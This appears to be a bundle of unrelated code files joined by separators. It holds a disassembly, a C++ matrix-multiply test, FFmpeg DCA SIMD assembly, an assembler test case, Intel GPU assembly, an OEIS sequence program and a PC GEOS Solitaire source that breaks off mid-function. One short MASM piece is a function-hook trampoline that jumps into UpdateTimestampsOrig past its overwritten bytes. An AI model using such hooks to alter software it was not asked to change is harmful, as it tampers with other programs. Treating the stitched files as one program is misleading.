f0101b0f: 89 d0 mov %edx,%eax
f0101b11: d3 e0 shl %cl,%eax
f0101b13: 89 d9 mov %ebx,%ecx
f0101b15: d3 ee shr %cl,%esi
f0101b17: d3 ea shr %cl,%edx
f0101b19: 09 f0 or %esi,%eax
f0101b1b: 83 c4 1c add $0x1c,%esp
f0101b1e: 5b pop %ebx
f0101b1f: 5e pop %esi
f0101b20: 5f pop %edi
f0101b21: 5d pop %ebp
f0101b22: c3 ret
f0101b23: 90 nop
f0101b24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f0101b28: 85 ff test %edi,%edi
f0101b2a: 89 f9 mov %edi,%ecx
f0101b2c: 75 0b jne f0101b39 <__umoddi3+0xe9>
f0101b2e: b8 01 00 00 00 mov $0x1,%eax
f0101b33: 31 d2 xor %edx,%edx
f0101b35: f7 f7 div %edi
f0101b37: 89 c1 mov %eax,%ecx
f0101b39: 89 d8 mov %ebx,%eax
f0101b3b: 31 d2 xor %edx,%edx
f0101b3d: f7 f1 div %ecx
f0101b3f: 89 f0 mov %esi,%eax
f0101b41: f7 f1 div %ecx
f0101b43: e9 31 ff ff ff jmp f0101a79 <__umoddi3+0x29>
f0101b48: 90 nop
f0101b49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0101b50: 39 dd cmp %ebx,%ebp
f0101b52: 72 08 jb f0101b5c <__umoddi3+0x10c>
f0101b54: 39 f7 cmp %esi,%edi
f0101b56: 0f 87 21 ff ff ff ja f0101a7d <__umoddi3+0x2d>
f0101b5c: 89 da mov %ebx,%edx
f0101b5e: 89 f0 mov %esi,%eax
f0101b60: 29 f8 sub %edi,%eax
f0101b62: 19 ea sbb %ebp,%edx
f0101b64: e9 14 ff ff ff jmp f0101a7d <__umoddi3+0x2d>
|
#ifndef NANOBLAS_TEST_TEST_GEMM_HPP
#define NANOBLAS_TEST_TEST_GEMM_HPP
#include <cstdint>
#include <functional>
#include <iostream>
#include <random>
#include <vector>
#include "lib/util.hpp"
namespace nanoblas {
template<typename FTYPE>
using impl_t = std::function<void(const FTYPE *, const FTYPE *, FTYPE *, size_t, size_t, size_t, size_t, size_t, size_t)>;
template<typename FTYPE>
bool run_test(std::mt19937 gen, const impl_t<FTYPE> &impl, size_t M, size_t N, size_t K, size_t lda, size_t ldb, size_t ldc) {
std::uniform_real_distribution<FTYPE> dist(0, 1);
std::vector<FTYPE> A((M+2)*lda);
std::vector<FTYPE> B((K+2)*ldb);
std::vector<FTYPE> C((M+2)*ldc);
std::vector<FTYPE> D((M+2)*ldc);
for (auto &&v: A) v = dist(gen);
for (auto &&v: B) v = dist(gen);
std::mt19937 gen2 = gen;
for (auto &&v: C) v = dist(gen);
for (auto &&v: D) v = dist(gen2);
for (size_t m = 0; m < M; m++)
for (size_t n = 0; n < N; n++)
for (size_t k = 0; k < K; k++)
C[ldc*(m+1)+n] += A[lda*(m+1)+k] * B[ldb*(k+1)+n];
impl(A.data()+lda, B.data()+ldb, D.data()+ldc, M, N, K, lda, ldb, ldc);
bool s = check_matrix(C, D, M+2, N, ldc, 1);
return s;
}
template<typename FTYPE>
bool run_test(std::mt19937 gen, const impl_t<FTYPE> &impl, size_t M, size_t N, size_t K) {
return run_test(gen, impl, M, N, K, K, N, N);
}
}
#endif
|
;******************************************************************************
;* SSE-optimized functions for the DCA decoder
;* Copyright (C) 2012-2014 Christophe Gisquet <christophe.gisquet@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
pf_inv16: times 4 dd 0x3D800000 ; 1/16
SECTION_TEXT
; void decode_hf(float dst[DCA_SUBBANDS][8], const int32_t vq_num[DCA_SUBBANDS],
; const int8_t hf_vq[1024][32], intptr_t vq_offset,
; int32_t scale[DCA_SUBBANDS][2], intptr_t start, intptr_t end)
%macro DECODE_HF 0
cglobal decode_hf, 6,6,5, dst, num, src, offset, scale, start, end
lea srcq, [srcq + offsetq]
shl startq, 2
mov offsetd, endm
%define DICT offsetq
shl offsetq, 2
mov endm, offsetq
.loop:
%if ARCH_X86_64
mov offsetd, [scaleq + 2 * startq]
cvtsi2ss m0, offsetd
%else
cvtsi2ss m0, [scaleq + 2 * startq]
%endif
mov offsetd, [numq + startq]
mulss m0, [pf_inv16]
shl DICT, 5
shufps m0, m0, 0
%if cpuflag(sse2)
%if cpuflag(sse4)
pmovsxbd m1, [srcq + DICT + 0]
pmovsxbd m2, [srcq + DICT + 4]
%else
movq m1, [srcq + DICT]
punpcklbw m1, m1
mova m2, m1
punpcklwd m1, m1
punpckhwd m2, m2
psrad m1, 24
psrad m2, 24
%endif
cvtdq2ps m1, m1
cvtdq2ps m2, m2
%else
movd mm0, [srcq + DICT + 0]
movd mm1, [srcq + DICT + 4]
punpcklbw mm0, mm0
punpcklbw mm1, mm1
movq mm2, mm0
movq mm3, mm1
punpcklwd mm0, mm0
punpcklwd mm1, mm1
punpckhwd mm2, mm2
punpckhwd mm3, mm3
psrad mm0, 24
psrad mm1, 24
psrad mm2, 24
psrad mm3, 24
cvtpi2ps m1, mm0
cvtpi2ps m2, mm1
cvtpi2ps m3, mm2
cvtpi2ps m4, mm3
shufps m0, m0, 0
shufps m1, m3, q1010
shufps m2, m4, q1010
%endif
mulps m1, m0
mulps m2, m0
mova [dstq + 8 * startq + 0], m1
mova [dstq + 8 * startq + 16], m2
add startq, 4
cmp startq, endm
jl .loop
.end:
%if notcpuflag(sse2)
emms
%endif
REP_RET
%endmacro
%if ARCH_X86_32
INIT_XMM sse
DECODE_HF
%endif
INIT_XMM sse2
DECODE_HF
INIT_XMM sse4
DECODE_HF
; %1=v0/v1 %2=in1 %3=in2
%macro FIR_LOOP 2-3
.loop%1:
%define va m1
%define vb m2
%if %1
%define OFFSET 0
%else
%define OFFSET NUM_COEF*count
%endif
; for v0, incrementing and for v1, decrementing
mova va, [cf0q + OFFSET]
mova vb, [cf0q + OFFSET + 4*NUM_COEF]
%if %0 == 3
mova m4, [cf0q + OFFSET + mmsize]
mova m0, [cf0q + OFFSET + 4*NUM_COEF + mmsize]
%endif
mulps va, %2
mulps vb, %2
%if %0 == 3
%if cpuflag(fma3)
fmaddps va, m4, %3, va
fmaddps vb, m0, %3, vb
%else
mulps m4, %3
mulps m0, %3
addps va, m4
addps vb, m0
%endif
%endif
; va = va1 va2 va3 va4
; vb = vb1 vb2 vb3 vb4
%if %1
SWAP va, vb
%endif
mova m4, va
unpcklps va, vb ; va3 vb3 va4 vb4
unpckhps m4, vb ; va1 vb1 va2 vb2
addps m4, va ; va1+3 vb1+3 va2+4 vb2+4
movhlps vb, m4 ; va1+3 vb1+3
addps vb, m4 ; va0..4 vb0..4
movlps [outq + count], vb
%if %1
sub cf0q, 8*NUM_COEF
%endif
add count, 8
jl .loop%1
%endmacro
; void dca_lfe_fir(float *out, float *in, float *coefs)
%macro DCA_LFE_FIR 1
cglobal dca_lfe_fir%1, 3,3,6-%1, out, in, cf0
%define IN1 m3
%define IN2 m5
%define count inq
%define NUM_COEF 4*(2-%1)
%define NUM_OUT 32*(%1+1)
movu IN1, [inq + 4 - 1*mmsize]
shufps IN1, IN1, q0123
%if %1 == 0
movu IN2, [inq + 4 - 2*mmsize]
shufps IN2, IN2, q0123
%endif
mov count, -4*NUM_OUT
add cf0q, 4*NUM_COEF*NUM_OUT
add outq, 4*NUM_OUT
; compute v0 first
%if %1 == 0
FIR_LOOP 0, IN1, IN2
%else
FIR_LOOP 0, IN1
%endif
shufps IN1, IN1, q0123
mov count, -4*NUM_OUT
; cf1 already correctly positioned
add outq, 4*NUM_OUT ; outq now at out2
sub cf0q, 8*NUM_COEF
%if %1 == 0
shufps IN2, IN2, q0123
FIR_LOOP 1, IN2, IN1
%else
FIR_LOOP 1, IN1
%endif
RET
%endmacro
INIT_XMM sse
DCA_LFE_FIR 0
DCA_LFE_FIR 1
%if HAVE_FMA3_EXTERNAL
INIT_XMM fma3
DCA_LFE_FIR 0
%endif
%macro SETZERO 1
%if cpuflag(sse2) && notcpuflag(avx)
pxor %1, %1
%else
xorps %1, %1, %1
%endif
%endmacro
%macro SHUF 3
%if cpuflag(avx)
mova %3, [%2 - 16]
vperm2f128 %1, %3, %3, 1
vshufps %1, %1, %1, q0123
%elif cpuflag(sse2)
pshufd %1, [%2], q0123
%else
mova %1, [%2]
shufps %1, %1, q0123
%endif
%endmacro
%macro INNER_LOOP 1
; reading backwards: ptr1 = synth_buf + j + i; ptr2 = synth_buf + j - i
;~ a += window[i + j] * (-synth_buf[15 - i + j])
;~ b += window[i + j + 16] * (synth_buf[i + j])
SHUF m5, ptr2 + j + (15 - 3) * 4, m6
mova m6, [ptr1 + j]
%if ARCH_X86_64
SHUF m11, ptr2 + j + (15 - 3) * 4 - mmsize, m12
mova m12, [ptr1 + j + mmsize]
%endif
%if cpuflag(fma3)
fmaddps m2, m6, [win + %1 + j + 16 * 4], m2
fnmaddps m1, m5, [win + %1 + j], m1
%if ARCH_X86_64
fmaddps m8, m12, [win + %1 + j + mmsize + 16 * 4], m8
fnmaddps m7, m11, [win + %1 + j + mmsize], m7
%endif
%else ; non-FMA
mulps m6, m6, [win + %1 + j + 16 * 4]
mulps m5, m5, [win + %1 + j]
%if ARCH_X86_64
mulps m12, m12, [win + %1 + j + mmsize + 16 * 4]
mulps m11, m11, [win + %1 + j + mmsize]
%endif
addps m2, m2, m6
subps m1, m1, m5
%if ARCH_X86_64
addps m8, m8, m12
subps m7, m7, m11
%endif
%endif ; cpuflag(fma3)
;~ c += window[i + j + 32] * (synth_buf[16 + i + j])
;~ d += window[i + j + 48] * (synth_buf[31 - i + j])
SHUF m6, ptr2 + j + (31 - 3) * 4, m5
mova m5, [ptr1 + j + 16 * 4]
%if ARCH_X86_64
SHUF m12, ptr2 + j + (31 - 3) * 4 - mmsize, m11
mova m11, [ptr1 + j + mmsize + 16 * 4]
%endif
%if cpuflag(fma3)
fmaddps m3, m5, [win + %1 + j + 32 * 4], m3
fmaddps m4, m6, [win + %1 + j + 48 * 4], m4
%if ARCH_X86_64
fmaddps m9, m11, [win + %1 + j + mmsize + 32 * 4], m9
fmaddps m10, m12, [win + %1 + j + mmsize + 48 * 4], m10
%endif
%else ; non-FMA
mulps m5, m5, [win + %1 + j + 32 * 4]
mulps m6, m6, [win + %1 + j + 48 * 4]
%if ARCH_X86_64
mulps m11, m11, [win + %1 + j + mmsize + 32 * 4]
mulps m12, m12, [win + %1 + j + mmsize + 48 * 4]
%endif
addps m3, m3, m5
addps m4, m4, m6
%if ARCH_X86_64
addps m9, m9, m11
addps m10, m10, m12
%endif
%endif ; cpuflag(fma3)
sub j, 64 * 4
%endmacro
; void ff_synth_filter_inner_<opt>(float *synth_buf, float synth_buf2[32],
; const float window[512], float out[32],
; intptr_t offset, float scale)
%macro SYNTH_FILTER 0
cglobal synth_filter_inner, 0, 6 + 4 * ARCH_X86_64, 7 + 6 * ARCH_X86_64, \
synth_buf, synth_buf2, window, out, off, scale
%define scale m0
%if ARCH_X86_32 || WIN64
%if cpuflag(sse2) && notcpuflag(avx)
movd scale, scalem
SPLATD m0
%else
VBROADCASTSS m0, scalem
%endif
; Make sure offset is in a register and not on the stack
%define OFFQ r4q
%else
SPLATD xmm0
%if cpuflag(avx)
vinsertf128 m0, m0, xmm0, 1
%endif
%define OFFQ offq
%endif
; prepare inner counter limit 1
mov r5q, 480
sub r5q, offmp
and r5q, -64
shl r5q, 2
%if ARCH_X86_32 || notcpuflag(avx)
mov OFFQ, r5q
%define i r5q
mov i, 16 * 4 - (ARCH_X86_64 + 1) * mmsize ; main loop counter
%else
%define i 0
%define OFFQ r5q
%endif
%define buf2 synth_buf2q
%if ARCH_X86_32
mov buf2, synth_buf2mp
%endif
.mainloop
; m1 = a m2 = b m3 = c m4 = d
SETZERO m3
SETZERO m4
mova m1, [buf2 + i]
mova m2, [buf2 + i + 16 * 4]
%if ARCH_X86_32
%define ptr1 r0q
%define ptr2 r1q
%define win r2q
%define j r3q
mov win, windowm
mov ptr1, synth_bufm
%if ARCH_X86_32 || notcpuflag(avx)
add win, i
add ptr1, i
%endif
%else ; ARCH_X86_64
%define ptr1 r6q
%define ptr2 r7q ; must be loaded
%define win r8q
%define j r9q
SETZERO m9
SETZERO m10
mova m7, [buf2 + i + mmsize]
mova m8, [buf2 + i + mmsize + 16 * 4]
lea win, [windowq + i]
lea ptr1, [synth_bufq + i]
%endif
mov ptr2, synth_bufmp
; prepare the inner loop counter
mov j, OFFQ
%if ARCH_X86_32 || notcpuflag(avx)
sub ptr2, i
%endif
.loop1:
INNER_LOOP 0
jge .loop1
mov j, 448 * 4
sub j, OFFQ
jz .end
sub ptr1, j
sub ptr2, j
add win, OFFQ ; now at j-64, so define OFFSET
sub j, 64 * 4
.loop2:
INNER_LOOP 64 * 4
jge .loop2
.end:
%if ARCH_X86_32
mov buf2, synth_buf2m ; needed for next iteration anyway
mov outq, outmp ; j, which will be set again during it
%endif
;~ out[i] = a * scale;
;~ out[i + 16] = b * scale;
mulps m1, m1, scale
mulps m2, m2, scale
%if ARCH_X86_64
mulps m7, m7, scale
mulps m8, m8, scale
%endif
;~ synth_buf2[i] = c;
;~ synth_buf2[i + 16] = d;
mova [buf2 + i + 0 * 4], m3
mova [buf2 + i + 16 * 4], m4
%if ARCH_X86_64
mova [buf2 + i + 0 * 4 + mmsize], m9
mova [buf2 + i + 16 * 4 + mmsize], m10
%endif
;~ out[i] = a;
;~ out[i + 16] = a;
mova [outq + i + 0 * 4], m1
mova [outq + i + 16 * 4], m2
%if ARCH_X86_64
mova [outq + i + 0 * 4 + mmsize], m7
mova [outq + i + 16 * 4 + mmsize], m8
%endif
%if ARCH_X86_32 || notcpuflag(avx)
sub i, (ARCH_X86_64 + 1) * mmsize
jge .mainloop
%endif
RET
%endmacro
%if ARCH_X86_32
INIT_XMM sse
SYNTH_FILTER
%endif
INIT_XMM sse2
SYNTH_FILTER
INIT_YMM avx
SYNTH_FILTER
INIT_YMM fma3
SYNTH_FILTER
|
;Testname=br3028880; Arguments=-Ox -fbin -obr3028880.o; Files=stdout stderr br3028880.o
%macro import 1
%define %%incfile %!PROJECTBASEDIR/%{1}.inc
%endmacro
import foo
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
mov (8|M0) acc0.0<1>:w 0x24060000:v
add (8|M0) acc0.0<1>:w acc0.0<8;8,1>:w 0x1C:uw
shl (4|M0) r22.4<1>:w acc0.4<4;4,1>:w 0x5:uw
mov (1|M0) f0.0<1>:uw r24.0<0;1,0>:ub
(W&~f0.0)jmpi L672
L80:
cmp (1|M0) (eq)f1.0 null.0<1>:w r24.2<0;1,0>:ub 0x1:uw
add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0x44EB100:ud
mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud
mov (1|M0) r26.0<1>:ud 0x0:ud
and (1|M0) r12.0<1>:ud r2.1<0;1,0>:ud 0x8000000:ud
or (1|M0) r7.7<1>:ud r7.7<0;1,0>:ud r12.0<0;1,0>:ud
mov (1|M0) r26.7<1>:ud r7.7<0;1,0>:ud
mov (1|M0) r26.1<1>:ud r7.12<0;1,0>:uw
mov (1|M0) r16.2<1>:ud 0xE000:ud
(~f1.0) add (1|M0) r26.1<1>:ud r7.12<0;1,0>:uw 0x3:ud
(f1.0) add (1|M0) r26.1<1>:ud r7.12<0;1,0>:uw 0x1:ud
mov (8|M0) r17.0<1>:ud r26.0<8;8,1>:ud
send (1|M0) r28:uw r16:ub 0x2 a0.0
mov (16|M0) r37.0<1>:uw r30.0<16;16,1>:uw
mov (16|M0) r38.0<1>:uw r31.0<16;16,1>:uw
mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud
mov (8|M0) r17.0<1>:ud r26.0<8;8,1>:ud
add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0x44EC101:ud
mov (1|M0) r16.2<1>:ud 0x5000:ud
(~f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r32:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r41:uw r16:ub 0x2 a0.0
mov (16|M0) r30.0<1>:uw 0xFFFF:uw
mov (16|M0) r31.0<1>:uw 0xFFFF:uw
mov (16|M0) r39.0<1>:uw 0xFFFF:uw
mov (16|M0) r40.0<1>:uw 0xFFFF:uw
mov (1|M0) a0.8<1>:uw 0x380:uw
mov (1|M0) a0.9<1>:uw 0x400:uw
mov (1|M0) a0.10<1>:uw 0x440:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x120:uw
L672:
nop
|
EXTERN UpdateTimestampsOrig: QWORD
_TEXT SEGMENT
UpdateTimestampsOrigWrapper PROC
; Overwritten instructions
mov [rsp+18h], rbx
push rdi
sub rsp, 30h
mov rbx, rcx
mov rax, UpdateTimestampsOrig
add rax, 0Dh
jmp rax
UpdateTimestampsOrigWrapper ENDP
_TEXT ENDS
END |
; A002448: Expansion of Jacobi theta function theta_4(x).
; Submitted by Stefano Spezia
; 1,-2,0,0,2,0,0,0,0,-2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,-2,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $2,-1
pow $2,$0
seq $0,122 ; Expansion of Jacobi theta function theta_3(x) = Sum_{m =-inf..inf} x^(m^2) (number of integer solutions to k^2 = n).
mul $0,$2
|
COMMENT @----------------------------------------------------------------------
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Solitaire
FILE: cards.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jon 6/90 Initial Version
DESCRIPTION:
RCS STAMP:
$Id: solitaire.asm,v 1.1 97/04/04 15:46:56 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
_Application = 1
;Standard include files
include geos.def
include geode.def
include ec.def
include product.def
;------------------------------------------------------------------------------
; FULL_EXECUTE_IN_PLACE : Indicates that the solitaire app. is going to
; be used in a system where all geodes (or most, at any rate)
; are to be executed out of ROM.
;------------------------------------------------------------------------------
ifndef FULL_EXECUTE_IN_PLACE
FULL_EXECUTE_IN_PLACE equ FALSE
endif
;------------------------------------------------------------------------------
; The .GP file only understands defined/not defined;
; it can not deal with expression evaluation.
; Thus, for the TRUE/FALSE conditionals, we define
; GP symbols that _only_ get defined when the
; condition is true.
;-----------------------------------------------------------------------------
if FULL_EXECUTE_IN_PLACE
GP_FULL_EXECUTE_IN_PLACE equ TRUE
endif
if FULL_EXECUTE_IN_PLACE
include Internal/xip.def
endif
include solitaireMacros.def
include library.def
include resource.def
include object.def
include graphics.def
include gstring.def
include Objects/winC.def
include heap.def
include lmem.def
include timer.def
include timedate.def
include system.def
include file.def
include fileEnum.def
include vm.def
include hugearr.def
include Objects/inputC.def
include initfile.def
include dbase.def
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
Strings segment lmem
Strings ends
UseLib ui.def
UseLib cards.def
UseLib dbase.def
UseLib Objects/vTextC.def
UseLib sound.def
UseLib wav.def
include solitaireGame.asm
include solitaireHand.asm
include solitaireTalon.asm
;include solitaireHiScore.asm
include Internal/im.def
;------------------------------------------------------------------------------
; Macros
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Constants
;------------------------------------------------------------------------------
SCORE_DISPLAY_BUFFER_SIZE equ 12 ;11 chars for score +
; null terminator
SHOW_ON_STARTUP equ 1
;
; This enum is used to identify which sound to play.
;
SolitaireSound etype word
SS_DEALING enum SolitaireSound
SS_OUT_OF_TIME enum SolitaireSound
SS_GAME_WON enum SolitaireSound
SS_CARD_MOVE_FLIP enum SolitaireSound
SS_DROP_BAD enum SolitaireSound
;
; This enum matches the values encoded in [sound]/wavDescriptions.
;
SolitaireWavInitSound etype word
SWIS_OUT_OF_TIME enum SolitaireWavInitSound
SWIS_GAME_WON enum SolitaireWavInitSound
;------------------------------------------------------------------------------
; Definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Object Class include files
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Class & Method Definitions
;------------------------------------------------------------------------------
;This is the class for this application's process.
SolitaireProcessClass class GenProcessClass
SolitaireProcessClass endc ;end of class definition
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include solitaireSizes.def
include solitaire.rdef
;------------------------------------------------------------------------------
; Initialized variables and class structures
;------------------------------------------------------------------------------
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures segment resource
else
idata segment
endif
;Class definition is stored in the application's idata resource here.
SolitaireProcessClass mask CLASSF_NEVER_SAVED
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures ends
else
idata ends
endif
CommonCode segment resource ;start of code resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireStartup
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_UI_OPEN_APPLICATION handler for SolitaireProcessClass
Sends the game object a MSG_GAME_SETUP_STUFF which readies
everything for an exciting session of solitaire!
CALLED BY:
PASS: same as superclass
CHANGES:
RETURN: same as superclass
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireOpenApplication method dynamic SolitaireProcessClass,
MSG_GEN_PROCESS_OPEN_APPLICATION
.enter
call SolitaireSetUpSounds
call SolitaireSetViewBackgroundColor
call SolitaireCheckIfGameIsOpen ; check for the Laserus Case
jnc gameNotOpen ; the game isn't open
;gameAlreadyOpen:
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
jmp done
gameNotOpen:
test cx, mask AAF_RESTORING_FROM_STATE
jz startingUp
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_GAME_RESTORE_BITMAPS
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
jmp markGameOpen
startingUp:
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_GAME_SETUP_STUFF
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
;
; Check first to see if the user really wants to see a quick tip.
;
push ds
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeTipsString ;key
clr ax ; assume false
call InitFileReadBoolean ; look into the .ini file
pop ds
mov cx, SHOW_ON_STARTUP ; assume we'll show tips
tst ax
jz setQuickTipsState ; correct assumtion!
clr cx ; nope - no tips
setQuickTipsState:
push cx
mov bx, handle ShowOnStartupGroup
mov si, offset ShowOnStartupGroup
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr dx
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx
jcxz letsPlay ; cx is zero to not show tips
;
; show the tips
;
mov bx, handle TipsInteraction
mov si, offset TipsInteraction
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_FIXUP_DS
call ObjMessage
;
; We're not restoring from state, so we need to create a full
; deck and start a new game here
;
letsPlay:
CallObject MyHand, MSG_HAND_MAKE_FULL_HAND, MF_FIXUP_DS
CallObject MyPlayingTable, MSG_SOLITAIRE_INIT_DATA_FROM_UI, MF_FORCE_QUEUE
CallObject MyPlayingTable, MSG_SOLITAIRE_NEW_GAME, MF_FORCE_QUEUE
;
; Get which card back we're using
;
mov cx, cs
mov ds, cx ;DS:SI <- ptr to category string
mov si, offset klondikeCategoryString
mov dx, offset klondikeWhichBackString
call InitFileReadInteger
jc setDefaultBack
mov_trash cx, ax ;cx <- which back
jmp setBack
setDefaultBack:
mov cx, 2 ; set default back
setBack:
mov ax, MSG_GAME_SET_WHICH_BACK
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
clr di
call ObjMessage
;
; Get the number of cards to flip each time
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeCountdownTimeString
call InitFileReadInteger
jc nFlipCards
mov_trash cx, ax ;cx <- time
mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
clr di
call ObjMessage
;
; Get the number of cards to flip each time
;
nFlipCards:
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeDrawHowManyString
call InitFileReadInteger
jc scoringMode
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle DrawList
mov si, offset DrawList
clr di
call ObjMessage
scoringMode:
;
; Get the scoring mode
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeScoringModeString
call InitFileReadInteger
jc playLevel
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
clr di
call ObjMessage
playLevel:
;
; Get the play level
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikePlayLevelString
call InitFileReadInteger
jc dragMode
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle UserModeList
mov si, offset UserModeList
clr di
call ObjMessage
dragMode:
if _NDO2000
;
; See if we should be outline dragging
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeDragModeString
call InitFileReadInteger
jc getFading
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle DragList
mov si, offset DragList
clr di
call ObjMessage
getFading:
endif
;
; Set fading mode.
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeFadingString ;key
call InitFileReadBoolean ;look into the .ini file
jc scoreReset ;value not found, branch
mov_tr cx, ax
clr dx
mov bx, handle FadeList
mov si, offset FadeList
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
scoreReset:
;
; Enable scoring reset trigger?
;
segmov ds, cs, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeResetScoreString ;key
clr ax ;assume false
call InitFileReadBoolean ;look into the .ini file
tst ax
jz muteSet
mov bx, handle ResetScoreTrigger
mov si, offset ResetScoreTrigger
mov ax, MSG_GEN_SET_USABLE
mov dl, VUM_DELAYED_VIA_UI_QUEUE
clr di
call ObjMessage
